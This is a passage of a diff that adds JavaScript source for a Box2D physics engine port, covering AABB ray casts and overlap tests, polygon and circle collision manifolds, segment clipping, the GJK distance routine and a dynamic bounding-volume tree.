+ var dY = input.p2.y - input.p1.y;
+ var absDY = Math.abs(dY);
+ if (absDY < Number.MIN_VALUE) {
+ if (input.p1.y < this.lowerBound_.y || this.upperBound_.y < input.p1.y) {
+ return false;
+ }
+ } else {
+ var inv_d = 1.0 / dY;
+ var t1 = (this.lowerBound_.y - input.p1.y) * inv_d;
+ var t2 = (this.upperBound_.y - input.p1.y) * inv_d;
+ var s = (-1.0);
+ if (t1 > t2) {
+ var t3 = t1;
+ t1 = t2;
+ t2 = t3;
+ s = 1.0;
+ }
+ if (t1 > tmin) {
+ output.normal.y = s;
+ output.normal.x = 0;
+ tmin = t1;
+ }
+ tmax = Math.min(tmax, t2);
+ if (tmin > tmax) {
+ return false;
+ }
+ }
+ output.fraction = tmin;
+ return true;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} other
+ * @return {boolean}
+ */
+Box2D.Collision.b2AABB.prototype.TestOverlap = function(other) {
+ if ( other.lowerBound_.x - this.upperBound_.x > 0 ) { return false; }
+ if ( other.lowerBound_.y - this.upperBound_.y > 0 ) { return false; }
+ if ( this.lowerBound_.x - other.upperBound_.x > 0 ) { return false; }
+ if ( this.lowerBound_.y - other.upperBound_.y > 0 ) { return false; }
+ return true;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb1
+ * @param {!Box2D.Collision.b2AABB} aabb2
+ * @return {!Box2D.Collision.b2AABB}
+ */
+Box2D.Collision.b2AABB.Combine = function(aabb1, aabb2) {
+ var aabb = Box2D.Collision.b2AABB.Get();
+ aabb.Combine(aabb1, aabb2);
+ return aabb;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb1
+ * @param {!Box2D.Collision.b2AABB} aabb2
+ */
+Box2D.Collision.b2AABB.prototype.Combine = function(aabb1, aabb2) {
+ this.lowerBound_.x = Math.min(aabb1.lowerBound_.x, aabb2.lowerBound_.x);
+ this.lowerBound_.y = Math.min(aabb1.lowerBound_.y, aabb2.lowerBound_.y);
+ this.upperBound_.x = Math.max(aabb1.upperBound_.x, aabb2.upperBound_.x);
+ this.upperBound_.y = Math.max(aabb1.upperBound_.y, aabb2.upperBound_.y);
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} vOut
+ * @param {!Box2D.Common.Math.b2Vec2} vIn
+ * @param {!Box2D.Common.Math.b2Vec2} normal
+ * @param {number} offset
+ */
+Box2D.Collision.b2Collision.ClipSegmentToLine = function(vOut, vIn, normal, offset) {
+ var numOut = 0;
+ var vIn0 = vIn[0].v;
+ var vIn1 = vIn[1].v;
+ var distance0 = normal.x * vIn0.x + normal.y * vIn0.y - offset;
+ var distance1 = normal.x * vIn1.x + normal.y * vIn1.y - offset;
+ if (distance0 <= 0.0) {
+ vOut[numOut++].Set(vIn[0]);
+ }
+ if (distance1 <= 0.0) {
+ vOut[numOut++].Set(vIn[1]);
+ }
+ if (distance0 * distance1 < 0.0) {
+ var interp = distance0 / (distance0 - distance1);
+ var tVec = vOut[numOut].v;
+ tVec.x = vIn0.x + interp * (vIn1.x - vIn0.x);
+ tVec.y = vIn0.y + interp * (vIn1.y - vIn0.y);
+ if (distance0 > 0.0) {
+ vOut[numOut].id = vIn[0].id;
+ } else {
+ vOut[numOut].id = vIn[1].id;
+ }
+ numOut++;
+ }
+ return numOut;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2PolygonShape} poly1
+ * @param {!Box2D.Common.Math.b2Transform} xf1
+ * @param {number} edge1
+ * @param {!Box2D.Collision.Shapes.b2PolygonShape} poly2
+ * @param {!Box2D.Common.Math.b2Transform} xf1
+ * @return {number}
+ */
+Box2D.Collision.b2Collision.EdgeSeparation = function(poly1, xf1, edge1, poly2, xf2) {
+ var normal1WorldX = (xf1.R.col1.x * poly1.m_normals[edge1].x + xf1.R.col2.x * poly1.m_normals[edge1].y);
+ var normal1WorldY = (xf1.R.col1.y * poly1.m_normals[edge1].x + xf1.R.col2.y * poly1.m_normals[edge1].y);
+ var normal1X = (xf2.R.col1.x * normal1WorldX + xf2.R.col1.y * normal1WorldY);
+ var normal1Y = (xf2.R.col2.x * normal1WorldX + xf2.R.col2.y * normal1WorldY);
+ var index = 0;
+ var minDot = Number.MAX_VALUE;
+ for (var i = 0; i < poly2.m_vertexCount; i++) {
+ var dot = poly2.m_vertices[i].x * normal1X + poly2.m_vertices[i].y * normal1Y;
+ if (dot < minDot) {
+ minDot = dot;
+ index = i;
+ }
+ }
+ var v1X = xf1.position.x + (xf1.R.col1.x * poly1.m_vertices[edge1].x + xf1.R.col2.x * poly1.m_vertices[edge1].y);
+ var v1Y = xf1.position.y + (xf1.R.col1.y * poly1.m_vertices[edge1].x + xf1.R.col2.y * poly1.m_vertices[edge1].y);
+ var v2X = xf2.position.x + (xf2.R.col1.x * poly2.m_vertices[index].x + xf2.R.col2.x * poly2.m_vertices[index].y);
+ var v2Y = xf2.position.y + (xf2.R.col1.y * poly2.m_vertices[index].x + xf2.R.col2.y * poly2.m_vertices[index].y);
+ var separation = (v2X - v1X) * normal1WorldX + (v2Y - v1Y) * normal1WorldY;
+ return separation;
+};
+/**
+ * @param {!Box2D.Collision.Shapes.b2PolygonShape} poly1
+ * @param {!Box2D.Common.Math.b2Transform} xf1
+ * @param {!Box2D.Collision.Shapes.b2PolygonShape} poly2
+ * @param {!Box2D.Common.Math.b2Transform} xf1
+ * @return {{bestEdge: number, separation: number}}
+ */
+Box2D.Collision.b2Collision.FindMaxSeparation = function(poly1, xf1, poly2, xf2) {
+ var dX = xf2.position.x + (xf2.R.col1.x * poly2.m_centroid.x + xf2.R.col2.x * poly2.m_centroid.y);
+ var dY = xf2.position.y + (xf2.R.col1.y * poly2.m_centroid.x + xf2.R.col2.y * poly2.m_centroid.y);
+ dX -= xf1.position.x + (xf1.R.col1.x * poly1.m_centroid.x + xf1.R.col2.x * poly1.m_centroid.y);
+ dY -= xf1.position.y + (xf1.R.col1.y * poly1.m_centroid.x + xf1.R.col2.y * poly1.m_centroid.y);
+ var dLocal1X = (dX * xf1.R.col1.x + dY * xf1.R.col1.y);
+ var dLocal1Y = (dX * xf1.R.col2.x + dY * xf1.R.col2.y);
+ var edge = 0;
+ var maxDot = (-Number.MAX_VALUE);
+ for (var i = 0; i < poly1.m_vertexCount; ++i) {
+ var dot = (poly1.m_normals[i].x * dLocal1X + poly1.m_normals[i].y * dLocal1Y);
+ if (dot > maxDot) {
+ maxDot = dot;
+ edge = i;
+ }
+ }
+ var s = Box2D.Collision.b2Collision.EdgeSeparation(poly1, xf1, edge, poly2, xf2);
+ var prevEdge = edge - 1;
+ if (prevEdge < 0) {
+ prevEdge = poly1.m_vertexCount - 1;
+ }
+ var sPrev = Box2D.Collision.b2Collision.EdgeSeparation(poly1, xf1, prevEdge, poly2, xf2);
+ var nextEdge = edge + 1;
+ if (nextEdge >= poly1.m_vertexCount) {
+ nextEdge = 0;
+ }
+ var sNext = Box2D.Collision.b2Collision.EdgeSeparation(poly1, xf1, nextEdge, poly2, xf2);
+ var bestEdge = 0;
+ var bestSeparation = 0;
+ if (sPrev > s && sPrev > sNext) {
+ bestEdge = prevEdge;
+ bestSeparation = sPrev;
+ while (true) {
+ edge = bestEdge - 1;
+ if (edge < 0) {
+ edge = poly1.m_vertexCount - 1;
+ }
+ s = Box2D.Collision.b2Collision.EdgeSeparation(poly1, xf1, edge, poly2, xf2);
+ if (s > bestSeparation) {
+ bestEdge = edge;
+ bestSeparation = s;
+ } else {
+ break;
+ }
+ }
+ } else if (sNext > s) {
+ bestEdge = nextEdge;
+ bestSeparation = sNext;
+ while (true) {
+ edge = bestEdge + 1;
+ if (edge >= poly1.m_vertexCount) {
+ edge = 0;
+ }
+ s = Box2D.Collision.b2Collision.EdgeSeparation(poly1, xf1, edge, poly2, xf2);
+ if (s > bestSeparation) {
+ bestEdge = edge;
+ bestSeparation = s;
+ } else {
+ break;
+ }
+ }
+ } else {
+ bestEdge = edge;
+ bestSeparation = s;
+ }
+ return {bestEdge: bestEdge, separation: bestSeparation};
+};
+Box2D.Collision.b2Collision.FindIncidentEdge = function(c, poly1, xf1, edge1, poly2, xf2) {
+ if (edge1 === undefined) edge1 = 0;
+ var normal1X = (xf1.R.col1.x * poly1.m_normals[edge1].x + xf1.R.col2.x * poly1.m_normals[edge1].y);
+ var normal1Y = (xf1.R.col1.y * poly1.m_normals[edge1].x + xf1.R.col2.y * poly1.m_normals[edge1].y);
+ var tX = (xf2.R.col1.x * normal1X + xf2.R.col1.y * normal1Y);
+ normal1Y = (xf2.R.col2.x * normal1X + xf2.R.col2.y * normal1Y);
+ normal1X = tX;
+ var i1 = 0;
+ var minDot = Number.MAX_VALUE;
+ for (var i = 0; i < poly2.m_vertexCount; i++) {
+ var dot = (normal1X * poly2.m_normals[i].x + normal1Y * poly2.m_normals[i].y);
+ if (dot < minDot) {
+ minDot = dot;
+ i1 = i;
+ }
+ }
+ var i2 = i1 + 1;
+ if (i2 >= poly2.m_vertexCount) {
+ i2 = 0;
+ }
+ c[0].v.x = xf2.position.x + (xf2.R.col1.x * poly2.m_vertices[i1].x + xf2.R.col2.x * poly2.m_vertices[i1].y);
+ c[0].v.y = xf2.position.y + (xf2.R.col1.y * poly2.m_vertices[i1].x + xf2.R.col2.y * poly2.m_vertices[i1].y);
+ c[0].id.SetReferenceEdge(edge1);
+ c[0].id.SetIncidentEdge(i1);
+ c[0].id.SetIncidentVertex(0);
+ c[1].v.x = xf2.position.x + (xf2.R.col1.x * poly2.m_vertices[i2].x + xf2.R.col2.x * poly2.m_vertices[i2].y);
+ c[1].v.y = xf2.position.y + (xf2.R.col1.y * poly2.m_vertices[i2].x + xf2.R.col2.y * poly2.m_vertices[i2].y);
+ c[1].id.SetReferenceEdge(edge1);
+ c[1].id.SetIncidentEdge(i2);
+ c[1].id.SetIncidentVertex(1);
+};
+Box2D.Collision.b2Collision.MakeClipPointVector = function() {
+ return [new Box2D.Collision.ClipVertex(), new Box2D.Collision.ClipVertex()];
+};
+Box2D.Collision.b2Collision.CollidePolygons = function(manifold, polyA, xfA, polyB, xfB) {
+ manifold.m_pointCount = 0;
+ var totalRadius = polyA.m_radius + polyB.m_radius;
+ var separationEdgeA = Box2D.Collision.b2Collision.FindMaxSeparation(polyA, xfA, polyB, xfB);
+ var edge1 = separationEdgeA.bestEdge;
+ if (separationEdgeA.separation > totalRadius) {
+ return;
+ }
+ var separationEdgeB = Box2D.Collision.b2Collision.FindMaxSeparation(polyB, xfB, polyA, xfA);
+ if (separationEdgeB.separation > totalRadius) {
+ return;
+ }
+ var poly1 = polyA;
+ var poly2 = polyB;
+ var xf1 = xfA;
+ var xf2 = xfB;
+ var flip = 0;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceA;
+ if (separationEdgeB.separation > 0.98 /* k_relativeTol */ * separationEdgeA.separation + 0.001 /* k_absoluteTol */ ) {
+ poly1 = polyB;
+ poly2 = polyA;
+ xf1 = xfB;
+ xf2 = xfA;
+ edge1 = separationEdgeB.bestEdge;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceB;
+ flip = 1;
+ }
+ var incidentEdge = Box2D.Collision.b2Collision.s_incidentEdge;
+ Box2D.Collision.b2Collision.FindIncidentEdge(incidentEdge, poly1, xf1, edge1, poly2, xf2);
+ var local_v11 = poly1.m_vertices[edge1];
+ var local_v12;
+ if (edge1 + 1 < poly1.m_vertexCount) {
+ local_v12 = poly1.m_vertices[edge1 + 1];
+ } else {
+ local_v12 = poly1.m_vertices[0];
+ }
+ Box2D.Collision.b2Collision.s_localTangent.Set(local_v12.x - local_v11.x, local_v12.y - local_v11.y);
+ Box2D.Collision.b2Collision.s_localTangent.Normalize();
+ Box2D.Collision.b2Collision.s_localNormal.x = Box2D.Collision.b2Collision.s_localTangent.y;
+ Box2D.Collision.b2Collision.s_localNormal.y = (-Box2D.Collision.b2Collision.s_localTangent.x);
+ Box2D.Collision.b2Collision.s_planePoint.Set(0.5 * (local_v11.x + local_v12.x), 0.5 * (local_v11.y + local_v12.y));
+ Box2D.Collision.b2Collision.s_tangent.x = (xf1.R.col1.x * Box2D.Collision.b2Collision.s_localTangent.x + xf1.R.col2.x * Box2D.Collision.b2Collision.s_localTangent.y);
+ Box2D.Collision.b2Collision.s_tangent.y = (xf1.R.col1.y * Box2D.Collision.b2Collision.s_localTangent.x + xf1.R.col2.y * Box2D.Collision.b2Collision.s_localTangent.y);
+ Box2D.Collision.b2Collision.s_tangent2.x = (-Box2D.Collision.b2Collision.s_tangent.x);
+ Box2D.Collision.b2Collision.s_tangent2.y = (-Box2D.Collision.b2Collision.s_tangent.y);
+ Box2D.Collision.b2Collision.s_normal.x = Box2D.Collision.b2Collision.s_tangent.y;
+ Box2D.Collision.b2Collision.s_normal.y = (-Box2D.Collision.b2Collision.s_tangent.x);
+ Box2D.Collision.b2Collision.s_v11.x = xf1.position.x + (xf1.R.col1.x * local_v11.x + xf1.R.col2.x * local_v11.y);
+ Box2D.Collision.b2Collision.s_v11.y = xf1.position.y + (xf1.R.col1.y * local_v11.x + xf1.R.col2.y * local_v11.y);
+ Box2D.Collision.b2Collision.s_v12.x = xf1.position.x + (xf1.R.col1.x * local_v12.x + xf1.R.col2.x * local_v12.y);
+ Box2D.Collision.b2Collision.s_v12.y = xf1.position.y + (xf1.R.col1.y * local_v12.x + xf1.R.col2.y * local_v12.y);
+ var sideOffset1 = (-Box2D.Collision.b2Collision.s_tangent.x * Box2D.Collision.b2Collision.s_v11.x) - Box2D.Collision.b2Collision.s_tangent.y * Box2D.Collision.b2Collision.s_v11.y + totalRadius;
+ if (Box2D.Collision.b2Collision.ClipSegmentToLine(Box2D.Collision.b2Collision.s_clipPoints1, incidentEdge, Box2D.Collision.b2Collision.s_tangent2, sideOffset1) < 2) {
+ return;
+ }
+ var sideOffset2 = Box2D.Collision.b2Collision.s_tangent.x * Box2D.Collision.b2Collision.s_v12.x + Box2D.Collision.b2Collision.s_tangent.y * Box2D.Collision.b2Collision.s_v12.y + totalRadius;
+ if (Box2D.Collision.b2Collision.ClipSegmentToLine(Box2D.Collision.b2Collision.s_clipPoints2, Box2D.Collision.b2Collision.s_clipPoints1, Box2D.Collision.b2Collision.s_tangent, sideOffset2) < 2) {
+ return;
+ }
+ manifold.m_localPlaneNormal.SetV(Box2D.Collision.b2Collision.s_localNormal);
+ manifold.m_localPoint.SetV(Box2D.Collision.b2Collision.s_planePoint);
+ var frontOffset = Box2D.Collision.b2Collision.s_normal.x * Box2D.Collision.b2Collision.s_v11.x + Box2D.Collision.b2Collision.s_normal.y * Box2D.Collision.b2Collision.s_v11.y;
+ var pointCount = 0;
+ for (var i = 0; i < Box2D.Common.b2Settings.b2_maxManifoldPoints; ++i) {
+ var separation = Box2D.Collision.b2Collision.s_normal.x * Box2D.Collision.b2Collision.s_clipPoints2[i].v.x + Box2D.Collision.b2Collision.s_normal.y * Box2D.Collision.b2Collision.s_clipPoints2[i].v.y - frontOffset;
+ if (separation <= totalRadius) {
+ var tX = Box2D.Collision.b2Collision.s_clipPoints2[i].v.x - xf2.position.x;
+ var tY = Box2D.Collision.b2Collision.s_clipPoints2[i].v.y - xf2.position.y;
+ manifold.m_points[pointCount].m_localPoint.x = (tX * xf2.R.col1.x + tY * xf2.R.col1.y);
+ manifold.m_points[pointCount].m_localPoint.y = (tX * xf2.R.col2.x + tY * xf2.R.col2.y);
+ manifold.m_points[pointCount].m_id.Set(Box2D.Collision.b2Collision.s_clipPoints2[i].id);
+ manifold.m_points[pointCount].m_id.SetFlip(flip);
+ pointCount++;
+ }
+ }
+ manifold.m_pointCount = pointCount;
+};
+Box2D.Collision.b2Collision.CollideCircles = function(manifold, circle1, xf1, circle2, xf2) {
+ manifold.m_pointCount = 0;
+ var p1X = xf1.position.x + (xf1.R.col1.x * circle1.m_p.x + xf1.R.col2.x * circle1.m_p.y);
+ var p1Y = xf1.position.y + (xf1.R.col1.y * circle1.m_p.x + xf1.R.col2.y * circle1.m_p.y);
+ var p2X = xf2.position.x + (xf2.R.col1.x * circle2.m_p.x + xf2.R.col2.x * circle2.m_p.y);
+ var p2Y = xf2.position.y + (xf2.R.col1.y * circle2.m_p.x + xf2.R.col2.y * circle2.m_p.y);
+ var dX = p2X - p1X;
+ var dY = p2Y - p1Y;
+ var distSqr = dX * dX + dY * dY;
+ var radius = circle1.m_radius + circle2.m_radius;
+ if (distSqr > radius * radius) {
+ return;
+ }
+ manifold.m_type = Box2D.Collision.b2Manifold.e_circles;
+ manifold.m_localPoint.SetV(circle1.m_p);
+ manifold.m_localPlaneNormal.SetZero();
+ manifold.m_pointCount = 1;
+ manifold.m_points[0].m_localPoint.SetV(circle2.m_p);
+ manifold.m_points[0].m_id.SetKey(0);
+};
+Box2D.Collision.b2Collision.CollidePolygonAndCircle = function(manifold, polygon, xf1, circle, xf2) {
+ manifold.m_pointCount = 0;
+ var dX = xf2.position.x + (xf2.R.col1.x * circle.m_p.x + xf2.R.col2.x * circle.m_p.y) - xf1.position.x;
+ var dY = xf2.position.y + (xf2.R.col1.y * circle.m_p.x + xf2.R.col2.y * circle.m_p.y) - xf1.position.y;
+ var cLocalX = (dX * xf1.R.col1.x + dY * xf1.R.col1.y);
+ var cLocalY = (dX * xf1.R.col2.x + dY * xf1.R.col2.y);
+ var normalIndex = 0;
+ var separation = (-Number.MAX_VALUE);
+ var radius = polygon.m_radius + circle.m_radius;
+ for (var i = 0; i < polygon.m_vertexCount; ++i) {
+ var s = polygon.m_normals[i].x * (cLocalX - polygon.m_vertices[i].x) + polygon.m_normals[i].y * (cLocalY - polygon.m_vertices[i].y);
+ if (s > radius) {
+ return;
+ }
+ if (s > separation) {
+ separation = s;
+ normalIndex = i;
+ }
+ }
+ var vertIndex2 = normalIndex + 1;
+ if (vertIndex2 >= polygon.m_vertexCount) {
+ vertIndex2 = 0;
+ }
+ var v1 = polygon.m_vertices[normalIndex];
+ var v2 = polygon.m_vertices[vertIndex2];
+ if (separation < Number.MIN_VALUE) {
+ manifold.m_pointCount = 1;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceA;
+ manifold.m_localPlaneNormal.SetV(polygon.m_normals[normalIndex]);
+ manifold.m_localPoint.x = 0.5 * (v1.x + v2.x);
+ manifold.m_localPoint.y = 0.5 * (v1.y + v2.y);
+ manifold.m_points[0].m_localPoint.SetV(circle.m_p);
+ manifold.m_points[0].m_id.SetKey(0);
+ } else {
+ var u1 = (cLocalX - v1.x) * (v2.x - v1.x) + (cLocalY - v1.y) * (v2.y - v1.y);
+ if (u1 <= 0.0) {
+ if ((cLocalX - v1.x) * (cLocalX - v1.x) + (cLocalY - v1.y) * (cLocalY - v1.y) > radius * radius) return;
+ manifold.m_pointCount = 1;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceA;
+ manifold.m_localPlaneNormal.x = cLocalX - v1.x;
+ manifold.m_localPlaneNormal.y = cLocalY - v1.y;
+ manifold.m_localPlaneNormal.Normalize();
+ manifold.m_localPoint.SetV(v1);
+ manifold.m_points[0].m_localPoint.SetV(circle.m_p);
+ manifold.m_points[0].m_id.SetKey(0);
+ } else {
+ var u2 = (cLocalX - v2.x) * (v1.x - v2.x) + (cLocalY - v2.y) * (v1.y - v2.y);
+ if (u2 <= 0) {
+ if ((cLocalX - v2.x) * (cLocalX - v2.x) + (cLocalY - v2.y) * (cLocalY - v2.y) > radius * radius) return;
+ manifold.m_pointCount = 1;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceA;
+ manifold.m_localPlaneNormal.x = cLocalX - v2.x;
+ manifold.m_localPlaneNormal.y = cLocalY - v2.y;
+ manifold.m_localPlaneNormal.Normalize();
+ manifold.m_localPoint.SetV(v2);
+ manifold.m_points[0].m_localPoint.SetV(circle.m_p);
+ manifold.m_points[0].m_id.SetKey(0);
+ } else {
+ var faceCenterX = 0.5 * (v1.x + v2.x);
+ var faceCenterY = 0.5 * (v1.y + v2.y);
+ separation = (cLocalX - faceCenterX) * polygon.m_normals[normalIndex].x + (cLocalY - faceCenterY) * polygon.m_normals[normalIndex].y;
+ if (separation > radius) return;
+ manifold.m_pointCount = 1;
+ manifold.m_type = Box2D.Collision.b2Manifold.e_faceA;
+ manifold.m_localPlaneNormal.x = polygon.m_normals[normalIndex].x;
+ manifold.m_localPlaneNormal.y = polygon.m_normals[normalIndex].y;
+ manifold.m_localPlaneNormal.Normalize();
+ manifold.m_localPoint.Set(faceCenterX, faceCenterY);
+ manifold.m_points[0].m_localPoint.SetV(circle.m_p);
+ manifold.m_points[0].m_id.SetKey(0);
+ }
+ }
+ }
+};
+Box2D.Collision.b2Collision.TestOverlap = function(a, b) {
+ if (b.lowerBound_.x - a.upperBound_.x > 0) {
+ return false;
+ }
+ if (b.lowerBound_.y - a.upperBound_.y > 0) {
+ return false;
+ }
+ if (a.lowerBound_.x - b.upperBound_.x > 0) {
+ return false;
+ }
+ if (a.lowerBound_.y - b.upperBound_.y > 0) {
+ return false;
+ }
+ return true;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2ContactPoint = function() {
+ this.position = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.velocity = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.normal = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ this.id = new Box2D.Collision.b2ContactID();
+};
+/**
+ * @param {!Box2D.Collision.b2DistanceOutput} output
+ * @param {!Box2D.Collision.b2SimplexCache} cache
+ * @param {!Box2D.Collision.b2DistanceInput} input
+ */
+Box2D.Collision.b2Distance.Distance = function(output, cache, input) {
+ var s_simplex = new Box2D.Collision.b2Simplex();
+ s_simplex.ReadCache(cache, input.proxyA, input.transformA, input.proxyB, input.transformB);
+ if (s_simplex.m_count < 1 || s_simplex.m_count > 3) {
+;
+ }
+ var iter = 0;
+ while (iter < 20) {
+ var save = [];
+ for (var i = 0; i < s_simplex.m_count; i++) {
+ save[i] = {};
+ save[i].indexA = s_simplex.m_vertices[i].indexA;
+ save[i].indexB = s_simplex.m_vertices[i].indexB;
+ }
+ if (s_simplex.m_count == 2) {
+ s_simplex.Solve2();
+ } else if (s_simplex.m_count == 3) {
+ s_simplex.Solve3();
+ }
+ if (s_simplex.m_count == 3) {
+ break;
+ }
+ var d = s_simplex.GetSearchDirection();
+ if (d.LengthSquared() < Box2D.Common.b2Settings.MIN_VALUE_SQUARED) {
+ break;
+ }
+ var negD = d.GetNegative();
+ s_simplex.m_vertices[s_simplex.m_count].indexA = input.proxyA.GetSupport(Box2D.Common.Math.b2Math.MulTMV(input.transformA.R, negD));
+ s_simplex.m_vertices[s_simplex.m_count].wA = Box2D.Common.Math.b2Math.MulX(input.transformA, input.proxyA.GetVertex(s_simplex.m_vertices[s_simplex.m_count].indexA));
+ s_simplex.m_vertices[s_simplex.m_count].indexB = input.proxyB.GetSupport(Box2D.Common.Math.b2Math.MulTMV(input.transformB.R, d));
+ s_simplex.m_vertices[s_simplex.m_count].wB = Box2D.Common.Math.b2Math.MulX(input.transformB, input.proxyB.GetVertex(s_simplex.m_vertices[s_simplex.m_count].indexB));
+ s_simplex.m_vertices[s_simplex.m_count].w = Box2D.Common.Math.b2Math.SubtractVV(s_simplex.m_vertices[s_simplex.m_count].wB, s_simplex.m_vertices[s_simplex.m_count].wA);
+ Box2D.Common.Math.b2Vec2.Free(d);
+ Box2D.Common.Math.b2Vec2.Free(negD);
+ iter++;
+ var duplicate = false;
+ for (var i = 0; i < save.length; i++) {
+ if (s_simplex.m_vertices[s_simplex.m_count].indexA == save[i].indexA && s_simplex.m_vertices[s_simplex.m_count].indexB == save[i].indexB) {
+ duplicate = true;
+ break;
+ }
+ }
+ if (duplicate) {
+ break;
+ }
+ s_simplex.m_count++;
+ }
+ s_simplex.GetWitnessPoints(output.pointA, output.pointB);
+ output.distance = Box2D.Common.Math.b2Math.SubtractVV(output.pointA, output.pointB).Length();
+ s_simplex.WriteCache(cache);
+ if (input.useRadii) {
+ var rA = input.proxyA.m_radius;
+ var rB = input.proxyB.m_radius;
+ if (output.distance > rA + rB && output.distance > Number.MIN_VALUE) {
+ output.distance -= rA + rB;
+ var normal = Box2D.Common.Math.b2Math.SubtractVV(output.pointB, output.pointA);
+ normal.Normalize();
+ output.pointA.x += rA * normal.x;
+ output.pointA.y += rA * normal.y;
+ output.pointB.x -= rB * normal.x;
+ output.pointB.y -= rB * normal.y;
+ Box2D.Common.Math.b2Vec2.Free(normal);
+ } else {
+ var p = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ p.x = 0.5 * (output.pointA.x + output.pointB.x);
+ p.y = 0.5 * (output.pointA.y + output.pointB.y);
+ output.pointA.x = output.pointB.x = p.x;
+ output.pointA.y = output.pointB.y = p.y;
+ output.distance = 0.0;
+ Box2D.Common.Math.b2Vec2.Free(p);
+ }
+ }
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2DistanceInput = function () {};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2DistanceOutput = function () {
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.pointA = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {!Box2D.Common.Math.b2Vec2} */
+ this.pointB = Box2D.Common.Math.b2Vec2.Get(0, 0);
+ /** @type {number} */
+ this.distance = 0;
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2DistanceProxy = function() {};
+Box2D.Collision.b2DistanceProxy.prototype.Set = function (shape) {
+ shape.SetDistanceProxy(this);
+};
+Box2D.Collision.b2DistanceProxy.prototype.GetSupport = function (d) {
+ var bestIndex = 0;
+ var bestValue = this.m_vertices[0].x * d.x + this.m_vertices[0].y * d.y;
+ for (var i = 1; i < this.m_count; i++) {
+ var value = this.m_vertices[i].x * d.x + this.m_vertices[i].y * d.y;
+ if (value > bestValue) {
+ bestIndex = i;
+ bestValue = value;
+ }
+ }
+ return bestIndex;
+};
+Box2D.Collision.b2DistanceProxy.prototype.GetSupportVertex = function (d) {
+ return this.m_vertices[this.GetSupport(d)];
+};
+Box2D.Collision.b2DistanceProxy.prototype.GetVertexCount = function () {
+ return this.m_count;
+};
+Box2D.Collision.b2DistanceProxy.prototype.GetVertex = function (index) {
+ if (index === undefined) index = 0;
+;
+ return this.m_vertices[index];
+};
+/**
+ * @constructor
+ */
+Box2D.Collision.b2DynamicTree = function() {
+ /** @type {Box2D.Collision.b2DynamicTreeNode} */
+ this.m_root = null;
+ /** @type {number} */
+ this.m_path = 0;
+ /** @type {number} */
+ this.m_insertionCount = 0;
+};
+/**
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {Box2D.Dynamics.b2Fixture} fixture
+ * @return {!Box2D.Collision.b2DynamicTreeNode}
+ */
+Box2D.Collision.b2DynamicTree.prototype.CreateProxy = function(aabb, fixture) {
+ var node = Box2D.Collision.b2DynamicTreeNode.Get(fixture);
+ var extendX = Box2D.Common.b2Settings.b2_aabbExtension;
+ var extendY = Box2D.Common.b2Settings.b2_aabbExtension;
+ node.aabb.lowerBound_.x = aabb.lowerBound_.x - extendX;
+ node.aabb.lowerBound_.y = aabb.lowerBound_.y - extendY;
+ node.aabb.upperBound_.x = aabb.upperBound_.x + extendX;
+ node.aabb.upperBound_.y = aabb.upperBound_.y + extendY;
+ this.InsertLeaf(node);
+ return node;
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ */
+Box2D.Collision.b2DynamicTree.prototype.DestroyProxy = function(proxy) {
+ this.RemoveLeaf(proxy);
+ proxy.Destroy();
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ * @param {!Box2D.Collision.b2AABB} aabb
+ * @param {!Box2D.Common.Math.b2Vec2} displacement
+ * @return {boolean}
+ */
+Box2D.Collision.b2DynamicTree.prototype.MoveProxy = function(proxy, aabb, displacement) {
+;
+ if (proxy.aabb.Contains(aabb)) {
+ return false;
+ }
+ this.RemoveLeaf(proxy);
+ var extendX = Box2D.Common.b2Settings.b2_aabbExtension + Box2D.Common.b2Settings.b2_aabbMultiplier * Math.abs(displacement.x);
+ var extendY = Box2D.Common.b2Settings.b2_aabbExtension + Box2D.Common.b2Settings.b2_aabbMultiplier * Math.abs(displacement.y);
+ proxy.aabb.lowerBound_.x = aabb.lowerBound_.x - extendX;
+ proxy.aabb.lowerBound_.y = aabb.lowerBound_.y - extendY;
+ proxy.aabb.upperBound_.x = aabb.upperBound_.x + extendX;
+ proxy.aabb.upperBound_.y = aabb.upperBound_.y + extendY;
+ this.InsertLeaf(proxy);
+ return true;
+};
+/**
+ * @param {number} iterations
+ */
+Box2D.Collision.b2DynamicTree.prototype.Rebalance = function(iterations) {
+ if (this.m_root !== null) {
+ for (var i = 0; i < iterations; i++) {
+ var node = this.m_root;
+ var bit = 0;
+ while (!node.IsLeaf()) {
+ node = (this.m_path >> bit) & 1 ? node.child2 : node.child1;
+ bit = (bit + 1) & 31;
+ }
+ this.m_path++;
+ this.RemoveLeaf(node);
+ this.InsertLeaf(node);
+ }
+ }
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeNode} proxy
+ * @return {!Box2D.Collision.b2AABB}
+ */
+Box2D.Collision.b2DynamicTree.prototype.GetFatAABB = function(proxy) {
+ return proxy.aabb;
+};
+/**
+ * @param {function(!Box2D.Dynamics.b2Fixture): boolean} callback
+ * @param {!Box2D.Collision.b2AABB} aabb
+ */
+Box2D.Collision.b2DynamicTree.prototype.Query = function(callback, aabb) {
+ if (this.m_root !== null) {
+ var stack = [];
+ stack.push(this.m_root);
+ while (stack.length > 0) {
+ var node = stack.pop();
+ if (node.aabb.TestOverlap(aabb)) {
+ if (node.IsLeaf()) {
+ if (!callback(node.fixture)) {
+ return;
+ }
+ } else {
+ stack.push(node.child1);
+ stack.push(node.child2);
+ }
